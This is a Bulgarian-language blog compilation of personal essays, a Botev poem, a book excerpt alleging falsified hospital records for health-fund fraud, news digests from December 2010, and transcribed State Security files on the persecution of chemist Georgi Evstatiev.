…Когато в годините на „демокрацията“ имах „наглостта“ да тръгна по следите на развихрилия се трафик с новородени деца, последваха заплахи за мен и семейството ми, за детето ми, започнаха следствени действия с размахване на белезници, та дори и дисциплинарно уволнение след повече от 15 години предана служба на държавата…
Ако имаш желание, Читателю, можеш да продължиш и споделиш как се промени твоят живот и съдба в годините на „прехода“! Ще бъда благодарна за това.
"
-
Следващото:
"Българинът плаче и се моли на „бога на разума“
В края на м. ноември 2010 г. в Европейска България един възрастен българин, за да отговори на въпроса „Какво се е променило днес в България?“, декламира любимото си Ботево стихотворение „ Моята молитва“. И искрено плаче!…Защо? Кой го позволява? Кой го допуска? Да докараш днес един възрастен твой родител до жалък плач, това си е чисто престъпление спрямо нацията! Ще има ли все пак възмездие? И кога ще настъпи?…
Друг, не толкова възрастен българин, пропътува с трамвай № 20 разстоянието от „Подуяне“ до централни хали с два лева в джоба си. Когато съпругата му поръчва по телефона някаква покупка, българинът отговаря:
„Нямам пари…Купих малко ябълки. Дадох и един лев за метро…Останаха ми само два лева…“
Тези парични единици характеризират социалния статус на една трета от българската нация в началото на 21-ви век. На народа все още му е нужен „хляб“. А когато се нуждаеш от него и от „зрелища“, ти неминуемо си нечий роб. Догодина отново ще ни предложат безвъзмездно /и еднократно/ и хляб, и зрелища, а може би и олио. Такова „благородство“ е задължително, когато се нуждаеш от някого, за да те изстреля светкавично във върховете на политическия „елит“! А след това - механизмите да се задържиш там са отработени, както и тези, за да скочиш там.
Но тази „представителна извадка“ за жизнен стандарт няма как да бъде и забелязана от политиците и държавниците. През последните 15 години още не съм забелязала такъв да използва обществен транспорт. Някак си не е престижно! Горе ще му се подиграват и обвиняват в липса на „аристократизъм“. А те все пак са нашите, родни аристократи…Пък и всеки да си знае мястото!
МОЯТА МОЛИТВА
Благословен бог наш…
О, мой боже, прави боже!
Не ти, що си в небесата,
а ти, що си в мене, боже –
мен в сърцето и душата…
Не ти, комуто се кланят
калугери и попове
и комуто свещи палят
православните скотове;
не ти, който си направил
от кал мъжът и жената,
а човекът си оставил
роб да бъде на земята;
не ти, който си помазал
царе, папи, патриарси,
а в неволя си зарязал
мойте братя сиромаси;
не ти, който учиш робът
да търпи и да се моли
и храниш го дор до гробът
само със надежди голи;
не ти, боже на лъжците,
на безчестните тирани,
не ти, идол на глупците,
на човешките душмани!
А ти, боже, на разумът,
защитниче на робите,
на когото щат празнуват
денят скоро народите!
Вдъхни всекиму, о, боже,
любов жива за свобода –
да се бори кой как може
с душманите на народа.
Подкрепи и мен ръката,
та кога въстане робът,
в редовете на борбата
да си найда и аз гробът!
Не оставяй да изстине
буйно сърце на чужбина
и гласът ми да премине
тихо, като през пустиня!…
ПРИЛОЖЕНИЕ
Из „Veneficium Bulgaricus – Сага за Виктория“
ГЛАВА ЧЕТВЪРТА
КАК СЕ ИЗТОЧВАТ ДЪРЖАВНИ ПАРИ?
СЛАВА И ПАРИ НА ВСЯКА ЦЕНА!
Ако човек си направи труда да вникне по-задълбочено и направи „дисекция“ на действията на професора през целия период на „грижите“ му към Виктория, няма как да не остане възхитен от стремежа, усилията и уменията му, вложени при заиграване с епикризите на пациентката. Звучи абсурдно, но се оказва, че всички манипулации са предвиждани, обмисляни, натъкмявани и предприемани така, че да бъдат максимално полезни и използвани и при консумацията на клиничните пътеки, и изготвянето на финалните документи.
Когато се срещнах с бивш шеф от гилдията и му предоставих епикризите на майка ми, реакцията му беше затрогващо откровена:
„Ето, тази е напълно измислена диагноза!“
Измислена, но полезна, върши работа – носи парични средства. В деня на приема на болната в „Александровска“ върху фиша за имунохематологично изследване отбелязаната диагноза е „Ту везице уринарие“ /тумор на пикочния мехур/. Но ако тя бъде експлоатирана веднага като диагноза, фигурираща върху първата епикриза, би било доста наивно, тъй като се проиграват други възможности. Това е и причината тя да не фигурира там. Вместо нея, в първата епикриза е посочена другата, „измислената“ според колегата-медик диагноза – „Хематурия. Ст. пост евакуацио коагулорум“. Терминът „хематурия“ няма как да се избегне, тъй като е основният проблем, довел ни до „Александровска“!
Изходящият номер при първия /действителен, защото има и измислен/ прием е 7655/834. Всичко в действията трябва да бъде обосновано, без никакъв риск за пропуски, респ. компрометиране. Бяха си „запазили“ и подходящ изходящ номер за този прием, но всичко натъкмено последователно по номера и дати. И колко ли главоболия са изтърпели администраторите на болницата в старанието да скалъпват, натъкмяват тези номера и дати, за да има „последователност“ и „логика“ в тях? И старанията им дават плод: всички епикризи са надлежно оформени според изискванията:
„Втори“ прием- 8104/877;
„Трети“ прием – 8729/929;
Колегата им бивш ръководител имаше право – „парите“, а не „болните“ имаха значение!
Професорът предприема първата „уретроцистоскопия“, прониква в пикочния мехур, където намира „множество коагулуми“, които, съвсем разбираемо, трябва да „евакуира“, за да оправдае клиничната пътека. И забележете – едва сега, на 27 март /датата е посочена в епикризата/, „открива/!/ туморна формация в лявата половина на тригонума. Но нека „изненадаме“ тук професора – същата тази диагноза фигурира вече върху фиша с дата 25 март! Но той е старателен и отново „преоткрива“ проблема. Манипулацията се извършва /според документа/ в условията на „венозна анестезия“! Нищо подобно! Самият професор споделя в кабинета си, че действа без упойка, защото „в момента няма такава“!
Адекватно и допустимо ли е подобно извинение?
Би ли го приел някой в медицинските среди и изобщо в медицинската наука?
Нали самата тя, науката, базирайки се на опита на вероятно разграничаващи се от професора свои представители твърди, че въвеждането в уретрата и пикочния мехур инструменти предизвиква дори у здравия човек неприятно усещане, а при наличие на възпалителни процеси или груба техника – болки. Често провокираните от тях рефлекторни спазми правят невъзможно проникването на инструмент ав уретрата и пикочния мехур. При наличие на патологични процеси, както и от механическите раздразнения на мехура биха възникнали императивни позиви за уриниране, непозволяващи пълненето на пикочния мехур с промивна течност, необходима за провеждане на цистоскопия или друга ендовезикална манипулация. При неуравновесени болни пък с неустойчива психика при подобни процедури често се наблюдава пребледняване на кожата, учестено дишане, падане на кръвното налягане и дори изпадане в безсъзнание.
Документиран случай в медицинската литература съобщава за летален изход на пациент по време на цистоскопия. Причината се оказала реакция вследствие на болка, причинена от въведения в пикочния мехур „оглеждащ“ цистоскоп. Не било налице органично заболяване, способно да предизвика внезапна смърт. Анестезията на уретрата и пикочния мехур прави ендоуретралните и ендовезикални вмешателства абсолютно безболезнени и дава възможност болният да понесе, а лекарят спокойно да извърши необходимите манипулации. Изключително важно е не само да се обясни и внуши на болния, че необходимата инструментална манипулация е безболезнена, но и да се осъществи това на дело. Всички тези рискове поставят под сериозно съмнение логичността в оправданието на професора, както и неговата професионална отговорност и лекарски дълг пред пациента и работата си. Лъжа е отбелязаното в документа поставяне на трипътен катетър и промивна система. Те са на ход едва след извършване на съдбоносната транс-уретрална резекция. И така, пациентката е „с гладък следоперативен период“, „изписва“ се афебрилна, в добро общо състояние, хемодинамично стабилна. Само че „несъществената“ подробност тук е – Виктория реално е изписана едва на трети април!
В този ден епикризата с гореспоменатите данни от т. н. „първи прием“ не ни се предоставя. И нямаше как да ни се предостави, защото в нея е документирано „изписване“ на пациентката не на 3-ти април, а на 30-ти март! И защо ще я изписват, след като задачата на професора беше хемостаза, а в документа фигурира само „откриване“ и „евакуация“ на коагулуми?
Несъответствията, недоразуменията, объркването, алогичността нямат край. След като професорът откри „туморна формация в лявата половина на тригонума“, подобна диагноза единствено катетеризация и промивки ли изисква според науката, след каквито манипулации я изписват?
При реалното изписване на 3-ти април получаваме епикриза с отбелязан в нея, но на практика засега несъществуващ „втори“ прием! И при този мним „втори“ прием пациентката е постъпила отново с „макроскопска хематурия“, както и при действителния първи прием. И отново, както в първия прием, „за диагностично уточняване и лечение“! И разбира се, все още „в добро общо състояние“. Отново се прониква в пикочния мехур и се „визуализира туморна формация…“ Извършва се и ужасяващата „транс-уретрална резекция“. Според лекуващите лекари начело с професора „следоперативният период протича гладко/!/“ До каква степен, ще видим сами.
* * *
Драмите около майка ми бяха толкова шокиращи, че за нас последна грижа бяха някакви документи. И лекарите прекрасно са знаели това. Преди да напуснем болницата, получаваме единствената епикриза, в която мимоходом прочитам, че пациентката е постъпила „за втори път“! Засега от документ за „първи прием“ няма и следа. Но не обърнах внимание на тази евентуална за мен „техническа грешка“. А авторите се бяха подсигурили – епикризата от „втория“ прием си имаше и изходящ номер – 8104/877!
…Неведоми са пътищата на съдбата. Кой е могъл да предполага, че същата пациентка ще се върне обратно в същата болница, в същата клиника и при невероятния лекарски екип? И от този момент стартират замислите по изфабрикуване на болнична документация, чиято единствена цел е да оправдае действията на лекуващите в източване на НЗОК! Които погубиха скорострелно и майка ми. Колко ли време и интелектуална енергия са похабили за това?
Следва продължение!
"
-
Новините едно време:
"Новини – 1 декември 2010 г.
+ Четирима лекари от УМБАЛ в гр. Горна Оряховица са задържани на 28 ноември, 2010 г. в обвинение за умишлено умъртвяване на неродено бебе /в петия или 6-я лунарен месец/. Двама от лекарите, единият шеф на болницата, са били следени със специални разузнавателни средства още преди този случай. Единият от задържаните в ареста предстоояло да постъпи като шеф на АГО в болница във Велико Търново. Трима от лекарите не са били на смяна по време на раждането. Майка на бебето е 17-годишна девойка, чийто родители не са знаели за бременността на дъщеря си.
„Аспирирах устната кухина, стомаха…стана ясно, че детето не е живо…Нямаше тонус, не изплака…не продиша – споделя педиатър от болницата. – Плодът беше недоразвит, посинял…“;
„Това не е жив плод…това е абортиран плод – допълва директорът на болницата. – Промръдванията за нас не са живот!“
Детето помръдва на път за хладилната камера. Транспортирано е в УМБАЛ „Александровска“, откъдето се очаква петорна медицинска експертиза.
+ Казусът „Калина Илиева“:
Заведено е дело срещу ексшефката на държавен фонд „Земеделие“.
Лъже и премиера Борисов, и министър Найденов, и министъра по европейските фондове, че „не е бременна“! Те се чувстват „шокирани и измамени“.
„Тя ме лъжеше, че има тумор…И изведнъж…бебе! Като всички се чувствам измамен“ – заявява премиерът Бойко Борисов.
Според министър Мирослав Найденов този случай е прецедент за България, дава лош сигнал до европейските институции и руши доверието към държавните институции в България.
„Разплащателната агенция е акредитирана структура…Тя е лъгала ОЛАФ…разбирате ли на какво ниво! – възмутен е министър Найденов. – Тя ми се кълне във всичко живо, че не е бременна и ми размахва този болничен лист…Не зная това момиче или жена дали не трябва да потърси медицинска помощ. Това граничи с лудост!“
Германия е потвърдила фалшивата задгранична диплома на бившата шефка на държавен фонд „Земеделие“. Води се разследване и от германските власти.
+ Първите 1100 явили се по списък хора с увреждания ще получат т. н. „асистент за независим живот“. За другите „има други програми“- според служители от социалното ведомство. На 1 декември в община „Люлин“ за два часа всички кандидати успяват да подадат молбите си.
+ Народното събрание гласува налог и за най-евтините имоти – данък „Колиба“ за имоти с данъчна оценка под 1680 лв.
Туристическата такса също ще бъде сменена с данък.
+ Депутатът от РЗС Яне Янев внесе 600 хиляди подписа за референдум за нова конституция.
„Преходът се размина с очакванията ни“ – коментира Янев.
РЗС е за: намаляване броя на депутатите; преминаване от парламентарна към президентска република; за свикване на Велико Народно събрание;
Цецка Цачева: „РЗС първо трябва да внесе в Народното събрание „проект“ за промяна на конституцията!“
+ Министър Трайчо Трайков – за подписания меморандум между България и Русия, касаещ изграждането на АЕЦ „Белене“:
„…Няма съгласие за цените…Имаме консултант, който да представи експертната си оценка за нея…За да се реализира проектът, зависи от крайната цена“.
/Цената на АЕЦ възлиза на 6 298 000 000 лв./
„Разчистване на масата“, „Не е обвързващ документ“ – коментират специалисти меморандума.
БСП: „ Можеше да се постигне по-ниска цена“; „Договорената цена е поне с 1 млрд. по-висока и от песимистичния вариант за България“; „Преговори тип „капалъ-чарши“; „Грандиозен успех за руската дипломация и лично за екс-премиера Сергей Кириенко“;
Бойко Борисов: „Те са нагли и когато всички маски са свалени, пак говорят глупости!“
+ Част от мощностите на „БРИКЕЛ“ / два от 6-те котела/ за нарушаване на европейските екологични изисквания са запечатани принудително. Не са изпълнили доброволно тези действия.
„Това ще ни принуди да повишим цената на брикетите“ – заявява зам. изп. директор.
+ В София около 1000 лекари, учени, студенти и филмови дейци провеждат митинг-шествие и протестират с балони срещу политиката на правителството.
„Може да се стигне и до гражданско неподчинение“ – заявява митингуващ.
+ В Източна Европа расте броят на болните от СПИН. Заразените само в Русия – 470 хиляди. Наричат я „болестта на младите“ – заразените са на възраст от 20 до 40 години.
+ Авторът на скандалния сайт Уикилийкс – Джулиан Асандж е издирван от Интерпол. Обвинен е за „изнасилване“ и „сексуален тормоз“.
Путин за изтичането на информация: „Не е кой знае каква катастрофа.“
+ Българският еврокомисар Кристалина Георгиева е избрана за „еврокомисар и европеец на годината“ според гласуване в годишната класация на електронното издание „Юръпиън войс“.
От „Юръпиън войс“: „Станала е случайно еврокомисар, но е впечатлила с работата си много хора.“
+ Търсенето на петимата моряци, потънали около нос „Емине“, продължава само по суша. Предстои повторен оглед на потъналия кораб.
+ Сняг затваря международно летище в Женева и Лондон.
Минус 23,6 градуса – в Русия.
В България – отново температурни рекорди: 19,5 – в Елхово; 19 – в Кюстендил;
+ В деня на празника на гр. Ботевград – изложба – живопис на Петър Пиронков – син на Енчо Пиронков.
+ На ул. „Алабин“ грейна коледната елха на столицата.
"
"Новините 2 декември 2010 г.
+ В Народното събрание приеха рамката на държавния бюджет за 2011 г.:
3,6 % – икономически ръст;
77 млрд. лв. – брутен вътрешен продукт;
2,5 % – бюджетен дефицит;
240 лв. – минимална работна заплата;
1,5 млрд. лв. ще бъдат прехвърлени от НЗОК към държавния бюджет;
Синя коалиция: – Предлага бюджетът да бъде увеличен с 900 млн. лв.;
БСП: – Предлага да бъде увеличен с 2 млрд. лв.;
ДПС: – Да се гласуват допълнителни средства за развитие на тютюнопроизводството и земеделските производители;
Павел Шопов /“Атака“/: „Бюджетът е рестриктивен…Защото вие всичко опоскахте“.
Мартин Димитров /Синя коалиция/: „Това е трета поредна година на бюджетен дефицит над 3 % от брутния вътрешен продукт.“
Иван Костов /Синя коалиция/ – „Със 150 млн. лв. да се намалят парите за социални програми…“
Лютви Местан /ДПС/: „Над този бюджет тегне плътната сянка на изборите за местни власти и президент…За да се съхрани емоционалния вот, който качи тази политическа сила на власт.“
+ Посланикът на САЩ Джеймс Уорлик:
„Американската държава не шпионира българските политици…Визата на Румен Петков е отнета поради криминално разследване…Двете страни работим като съюзници.“
+ Казусът „Калина Илиева“:
Министър Мирослав Найденов: „Предала е над 400 електронни съобщения за нарушения към ОЛАФ и други проверяващи България институции от Европейския съюз.“
+ Нови разкрития от „Уикилийкс“:
В-к „Гардиън“ публикува информация от сайта, че „не трябва да се отлага приемането на България в Европейския съюз, защото това ще затрудни борбата с организираната престъпност в страната.“
Русия – „мафиотска държава“;
Путин – с 400 млрд. долара в сметките си;
„Избрал си е слаб приемник, за да не бъде съден“;
„България – страна на организирана престъпност“;
+ 16 депутата от всички парламентарни групи напускат дебатите в Народното събрание, за да участват в симулирана промоция на скъпи телефонни апарати и да „получат по един подарък“.
Бойко Борисов: „Срамувам се от тяхното поведение. Надявам се това никога да не се повтори…Но дисциплината в ГЕРБ е десетки пъти по-добра.“
+ Столичният кмет Йорданка Фандъкова се извинява на инвалидите, чакали по програма „Асистент за независим живот“.
„Всички ще бъдат записани, но правилата ще се променят…сега нямах право, защото са приети от Столичен Общински съвет.“
+ Издирването на потъналите край нос Емине моряци – прекратено и по суша.
+ Арестуваните лекари от УМБАЛ в Горна Оряховица – отново на работните места.
Директорът на болницата: „Ние не сме виновни. Тука убийци няма…Не се отнасяйте така с нас!“
+ На 4-ти и 5-ти декември – безплатни профилактични прегледи в Клиниката по урология в УМБАЛ „Александровска“.
+ Обществено недоволство от образователното видео за борбата със СПИН: /“брутален клип с вулгарно съдържание“/;
Камен Воденичаров: „Изплатено е с пари по международна инициатива – 11 х. лв.“;
+ Отменя се посещението на сръбския премиер в България.
+ Дарик-радио – за 20-ти път класация за „Мъж на годината“.
Номинирани: Цветан Цветанов – вицепремиер и министър на вътрешните работи;
Росен Плевнелиев- министър на регионалното развитие и благоустройството;
Матей Казийски – спортист, състезател по волейбол;
Избран за „Мъж на годината“ – Матей Казийски
+ Класация на ФИФА:
Новите домакини на световното първенство по футбол:
Русия – 2018 г.;
Катар – 2022 г.;
+ Студове сковават Европа; В България – нови температурни рекорди;
"
"Новини 3 декември 2010
+ Земеделското министерство ще съди Калина Илиева; По сигнал на К. Илиева от ДАНС разследват в продължение на повече от 6 месеца земеделския министър за оказване на натиск и злоупотреба с власт;
Министър Мирослав Найденов иска Калина Илиева да си върне заплатите:
“Не съм я виждал с бръмбари…може и да е била. Ако съм я видял, щеше веднага да изхвърчи от кабинета си…Имам обица на ухото заради двама мои предшественици..Калина Илиева е дала на прокурор над 900 животновъди, лишавайки ги от възможност за субсидии по европейски програми…По нейна вина са спрени стотици проекти по фонд “Земеделие”…Може би ще бъде внесен и иск от фирмите поради същите причини”.
Партия РЗС:
“Калина Илиева се е противопоставила на корупционните схеми в министерството…С нея ще си измият ръцете”.
+ Парламентът прие бюджет 2011.
Министър Дянков: “Това е бюджет на стабилността…Коледни пенсии няма да има. Такива са възможностите на държавата в този момент…Неуместно е да се дава допълнителна заплата на държавните служители. Лично при мен няма да се случи…Който има ресурс от спестявания, може да се даде”.
+ Казусът с умъртвеното бебе в Горна Оряховица:
Според МВР и Прокуратурата лекарите умишлено са оставили едно дете да умре. Близо денонощие се е борило за живота си.
Министър Цветан Цветанов пред Народното събрание:
“Едно бебе е живо умъртвено…И не му е даден шанс…Това си е умишлено престъпление и убийство!”
Из разсекретените разговори в МБАЛ “Св. Иван Рилски” в Горна Оряховица:
“…Всички вкупом сме умъртвили бебето нарочно…никой не е виждал, не е чул…Сега ще ни съдят за убийство, бе!”
Главен прокурор Борис Велчев:
“Радвам се, че резултатите от подслушванията бяха огласени.Те показват колко прибързани са били изводите за произвол на полицията.
Български лекарски съюз иска да съди България в Страсбург за изтичане на информация от СРС-та и отношението към българските лекари.
+ Казусът Джеймс Уорлик – Румен Петков
За Румен Петков посланик Уорлик е “лъжец”;
Посланик Уорлик: “Визата е отнета на базата на информация за текущо разследване”.
Гл. Прокурор Борис Велчев: “Понастоящем такова разследване срещу Румен Петков не се води…Може да се води, но в друга държава.”
+ Във връзка с “новосформираната парламентарна група “Скъп телефон”
Цецка Цачева свиква комисията по парламентарна етика . Но няма нормативен документ, на базата на който депутатите да бъдат наказани.
+ Кинодейци – срещу убийството на българското кино. Призовават премиера или да се разграничи от действията на министър Вежди Рашидов, или да поеме политическа отговорност. Кинодейците ще търсят съдействие и от европейските институции.
+ Звездата на “Левски” – Гара Дембеле – арестуван в служебен автомобил за употреба на алкохол / 1,6 промила/ и фалшива шофьорска книжка.
Георги Иванов: “За нас е важен отборът, а не отделен футболист”.
Дембеле: “Нямам какво да кажа…Всичко е нормално”.
+ ЦСКА отпадна от лига Европа с 0:1 срещу Бешикташ.
+ Бушува пожарът край Хайфа в Израел. Българи участват в потушаването му.
+ Люта зима в Северна и Централна Европа.
Сняг и наводнения в Южна Европа и на Балканите.
В Румъния – дъжд и силни ветрове.
"
-
За 2 жени от нея:
"Двете най-известни жени на България!
Впечатли ли се, Читателю, от един на пръв поглед дребен, но много съществен и любопитен детайл от церемонията по награждаване на българския еврокомисар Кристалина Георгиева, спечелила в номинациите на електронното издание „Юръпиън войс“ за „еврокомисар на годината“ и „европеец на годината“?
Преди да излезе пред публиката, за да й бъдат връчени наградите, камерата улови джентълментското ръкуване между двете засега най-популярни жени на България в световен мащаб – Кристалина Георгиева и бившия комисар на България и настоящ съветник в Европейския парламент Меглена Кунева.
Разнобой, разединение, противоборство, противопоставяне – всички тези синоними са същностна характеристика на обществено-политическия и социален живот в България и понастоящем, както винаги и в предшестващи периоди от нашето развитие. Припомнете си тежкия и скандален казус с бившия външен министър в правителството на Бойко Борисов – Румяна Желева, когато трябваше да защитава кандидатурата си за еврокомисар на България! Откъде дойде ударът, кой й заби нож в гърба? Сънародничка, разбира се. „Компроматът“ беше подхвърлен от г-жа Антония Първанова – депутат в Европейския парламент, представител на партията на „негово величестнво“ - НДСВ. Защо? От злоба, от завист, от чувство за превъзходство, от политическо късогледство, от увреден „светоглед“?
Съвършено други асоциации внушава поведението на г-жа Георгиева и г-жа Кунева, респ. отношението им помежду си. Ако жестът на Кристалина Георгиева не е единствено протоколен /но не би могъл да бъде – в подобна ситуация тя не беше длъжна да „забележи“ сънародничката си/ или израз на дипломатичност, то той заслужава горещи адмирации като израз на цивилизованост, европейска ерудиция, възпитание, човечност, добронамереност, колегиалност, съпричастност към една голяма кауза! Но в това не би имало нищо странно – г-жа Кристалина Георгиева в качеството й на бивш кадър на Световната банка е живяла достатъчно време в среда, съвсем различна от родната ни – „балканска“, „байганьовска“, „ориенталска“!
Очевидно изцяло я владее свеж, европейски дух на цивилизованост и хуманност. Които качества брилянтно се вписват в оценката за нея, довела до избирането й както за еврокомисар по хуманитарните въпроси, така и за носител на двойната награда на „Юръпиън войс“. Поведението и постъпката й са показателни за промяната у българина, когато е поставен в ситуация да изостави дивашкото и да попадне в обкръжението на осъзнати човеци.
"
-
Следващото:
"Отказът от сътрудничество с ДС – кошмар и “анатема за цял живот!”
Из секретните документи на ДС:
“ПРИСЪДА
№ 1211
гр. Враца 11 ноември 1946 г.
В ИМЕТО НА НАРОДА И НАРОДНАТА РЕПУБЛИКА
Врачанският областен съд наказателно отделение
в публичното съдебно заседание на 30 и 31.10 от 1-2 и /.!../ -8.11
през хилядо деветстотин четиридесет и шеста година в състав
Председател: Пенчо Спасов
Членове: Никифор Василев
Никола Новкиришки
при секретаря Е. Калдърмов, Ив. Зверински, К. Дерибечов, Ил. Ангелов, В.Стаматова при прокурор Тод. Чернев
като разгледа докладваното от член съдията Никила /!/ Новкиришки
н. с. х. Дело № 1327 по описа за 1946 г.
ПРИСЪДИ:
1…….
2…….
15. Признава подсъдимите Георги Петков Евстатиев, 19 годишен, от с. Долно Церовене, Ломско 16 /като номерация/ бел. ав./ Тодор Петков Тодорв /!/, 20 годишен,
с.с./вероятно “същото село”/бел. ав./ 17 /като номерация/ бел. ав./ Йордан Тодорв /!/ Антонов, 17 годишен, от с. с. българи, православни грамотни, неженени, неосъждани, за ВИНОВНИ, след 17 март 1945 година, в гр. Враца, да са членували в горните организации /по-горе / бел. ав./ ”…с фашистка идеология, с цел събарянето, подравянето и отслабването на установената власт в държавата чрез преврат”./ и по силата на чл. 1 ал. 2 н. зак. за защита на народната власт в въска /!/ с чл. 61 и чл. 58 т. 3
Н.З. ги ОСЪЖДА да изтърпят по две /две/ години 2 /два/ месеца и 20 /двадесет/ дни строг тъмничен затвор…
…Осъжда всичките подсъдими да заплатят на държавното съкровище солидарно сумата 46.100 /четиридесет и шест хиляди и сто лева/ станали по дялото/!/ разноски.”
“Строго секретно.
№ 27
Георги Петков Евстатиев, роден на 4.май 1927 година в с. Долно Церовене – Ломско, женен с едно дете на три месеца, средно образование, живущ на ул. “Ш. Петьофи” 39 – София в собствен апартамент.
Произхожда от реакционно кулашко семейство.
Съпруга Ефросина Михайлова Евстатиева е родена 1929 г., лекарка.
Обекта като ученик е бил член на легиона и бранник.
След 9.09.1944 година също членува в нелегална военна /легионерска/ организация, която е била разкрита през 1946 година и обекта е бил осъден на 2 години и 6 месеца строг тъмничен затвор.
През 1950 година се е изказал, че “събитията се развиват със светкавичен темп, това ще бъде благоприятно за нас, ще дойде нашето освобождение и тогава, аз затворника от конспирацията “Цар Крум” и ти ще бъдем добре”.
Във връзка със събитията в Унгария и Египет е казал пред съкварталците си, че с вас е свършено и твоят мъж, който е офицер от ВВС ще ми пада на колене.
Годен е за всякакъв вид вражеска дейност.
Подлежащи на изселване с него са:
а/ Съпруга – ЕФРОСИНА МИХАЙЛОВА ЕВСТАТИЕВА, р. 1929 г., лекарка с дете на 3 години – Михаил.
Да се изсели в село Церово – Ломско. Ще работи земеделие при баща си.
ПРЕДЛАГА: /подпис/
НАЧАЛНИК ЧЕТВЪРТО РАЙОННО У-НИЕ МВР
СЪГЛАСНИ: 1. СЕКРЕТАР ЧЕТВЪРТИ РК БКП: /подпис/
2. ПРЕДСЕДАТЕЛ ЧЕТВЪРТИ РАЙСЪВЕТ /подпис/
3. ПРОКУРОР ПРИ ЧЕТВЪРТИ РАЙОН /подпис/”
“Строго секретно!
Донася: аг. “Орлин”
Приел: ст. ле т. Ангел Андреев
На 11 октомври 958 г. 17 ч. в я/к
Справка по донесението
Отнася се за Георги Петков Евстатиев
Обект по ОНД – изселен от София в Берковица.
На 27 септември 1958 г. източника е бил на панаира в Д. Церовине Ломско, там се е срещнал с лицето Георги Петков Евстатиев, бивш жител на Церовине, изселен от София, а сега жител на Берковица по международното положение е казал:
Предимство в световната политика ще има СССР до м. Февруари 1959 година, тя ще има до тогава надмощиея и успех. Събитията ще се развиват в наша полза, затова, че другите не са готови. След този срок събитията ще вземат голем обрат, предимство ще имат американците, ще задуха другия вятър. Най-късно ние с тебе след година ще бъдем в София отново. Ти много си се отчаял, паднал духом, кураж повече, не губи надежда.
На източника прави впечатление, че Георги е много укоражен и сигорен в победата на капитализъма.
11 октомври 958 г.
Д. Церовине “Орлин”
ЗАДАЧА: – При посещение в Берковица да се интересува от Георги има ли “наши” хора как се държат кои са и проявяват ли се в нещо.
Дал задачата. /подпис/”
Горецитираните документи са една нищожна част от архивите на ДС, доказващи следенето, преследването и тероризирането на един млад българин, понастоящем изявен учен-химик – проф. ГЕОРГИ ЕВСТАТИЕВ.
На любознателния Читател предлагам емоционалното обръщение на проф. Георги Евстатиев към представителите на съдебната система в България:
“Уважаеми Господа съдии,
Поводът да се обърна към Вас е изключително любопитен. Най-после съм допуснат да се запозная с личното си досие, водено от отделите на държавна сигурност до 1971 г. Съобщено ми бе, че след тази дата по нареждане на министъра на вътрешните работи генерал Семерджиев досието ми е унищожено. Предоставените ми материали са събрани в три папки, наброяващи хиляди страници и обхващат периода 1944-1971 г. От всичко, което е написано и грижливо съхранено, би трябвало да получа “заслуги”. “Да, ама не!”, както се казва. Определението, което ми е дадено от ДС и сега тегне върху моята съдба и предопределя резултатите от всяко мое действие и начинание…
“Годен за всякаква вражеска дейност” е анатемата за целия ми живот.
Но нека ви запозная с моята особа и съдба:
Роден съм на 4 май 1927 г. в семейство, занимаващо се със земеделие. На 17 септември 1944 г. бях арестуван с обвинение, че съм написал и пускал позиви срещу влизането на Съветската армия в България. В края на годината бях освободен. През 1945 г. отново бях арестуван и през 1946 г. осъден за участие в конспиративна военна организация “Цар Крум” срещу народната власт на 2 години и 2 месеца строг тъмничен затвор като малолетен. След това бях изпратен в концентрационния лагер в Белене. През 1949 г. като трудовак бях изпратен в дисциплинарната рота в урановата мина в Бухово. През 1951 г. записах медицина и през 1952 г. ме изключиха. През 1953 г. записах агрономство и през 1955 г. ме изключиха.
Кадрова справка
Изготвена е от отдел “Личен състав” в Централния институт по химическа промишленост във връзка с предложението да получа държавна награда.
Лицето Георги Петков Евстатиев, роден на 4 май 1927 г. в с. Долно Церовене, Михайловградско.
Осъждан за конспиративна дейност в легионерска организация срещу Народната власт по закон за защита на народната власт, дело № 1327/45 г. на Врачанския окръжен съд на 2 години, 2 месеца и 20 дни строг тъмничен затвор. Присъдата е изтърпял в затвора, а после е бил на лагер “Пъстината” и “Белене”.
През 1949 г. постъпва трудовак в Бухово и Суходол.
През 1951 г. с нередовни документи записва медицина.
През 1953 г. е разкрит и изключен.
През 1953 г. е записал агрономство.
През 1955 г. е изключен.
През 1957 г. е изселен във връзка с унгарските събития в Берковица, където започва работа като строителен работник, а по-късно става технолог в предприятие за пластмаси.
През 1967 г. е изселен в Бургаско във връзка с чехските събития, а после въдворен в Кнежа.
През 1971 г. постъпва в института по химия.
През 1972 г. е въдворен в с. Минно селище – Бургаско.
През 1973 г. постъпва отново в института.
През 1975 г. е назначен за ръководител на секция.
През 1983 г. е назначен за зам.директор на ЦУВ-КП-София.
През 1985 г. министър Панков го назначава за директор на завод “Иван Бонов” – Кнежа и за началник на центъра по конструкционни полимери.
През 1987 г. отново се завръща като директор на научното направление”Конструкционни полимери” към института.
В тази справка кадровите служби умишлено са пропуснали, че:
През 1959 г. организирах със съгласието на партията цех за преработка на пластмаси, който до 1963 г. разшири своята дейност и стана държавно предприятие “Ком” в Берковица към министерството на химията и металургията. На това предприятие съм назначен за директор лично от министър Георги Павлов, който въпреки моето “минало” преодоля решението на партията да се назначи партиен ръководител. Това предизвикателство не се прие от окръжния партиен комитет, поради което във връзка със събитията в Чехословакия през 1968 г. бях изселен в с. Алфатар, Силистренско.
Благодарение пак на министър Георги Павлов бях пренасочен “като въдворен със същия режим да се подписвам сутрин и вечер в МВР” в гр. Кнежа. Там ми бе възложено да организирам първото в България предприятие за производство на изделия от реактопласти.
В Берковица оставих завод “Ком” с 800 работници и специалисти. Заводът се разви успешно и няколко години печелеше знамето на министерството и стана едно от модерните водещи предприятия на химическата промишленост.
В Кнежа тези успехи продължиха със създаването на единственото в България предприятие за производство на изделия от стъклопласти с широка гама на приложение, в това число и за военната промишленост.
Тази моя дейност, подмината от отговорните органи на МВР, е моят атестат като мениджър-промишленик. Тя продължи успешно до 1971 г., след което с конкурс бях приет за научен сътрудник в Института по химическа промишленост.
За съжаление и тук не бях “забравен” от съответните органи. През 1972 г. бях въдворен в с. Минно селище – Бургаско. Там ми бе възложено да решавам някои проблеми на нефтопреработването.
След връщането ми в института бях назначен за ръководител на лаборатория, а по-късно и за ръководител на секция с 4 лаборатории. Постигнати бяха значими разработки, някои от които бяха внедрени за отбраната.
Бях инициатор за създаването на Научно-производствен комбинат за конструкционни полимери. Тази идея се оформи след посещението ми в САЩ в институт в щат Делауер, където бях поканен във връзка с разработения от мен първи в света мост от стъклопласти с товароносимост 1200 тона, предназначен за първокласно шосе.
Бях назначен за зам.директор на научно-производствения комбинат и директор на научния център към него.
За цялостната си дейност многократно съм награждаван:
За принос към отбраната – правителствена награда;
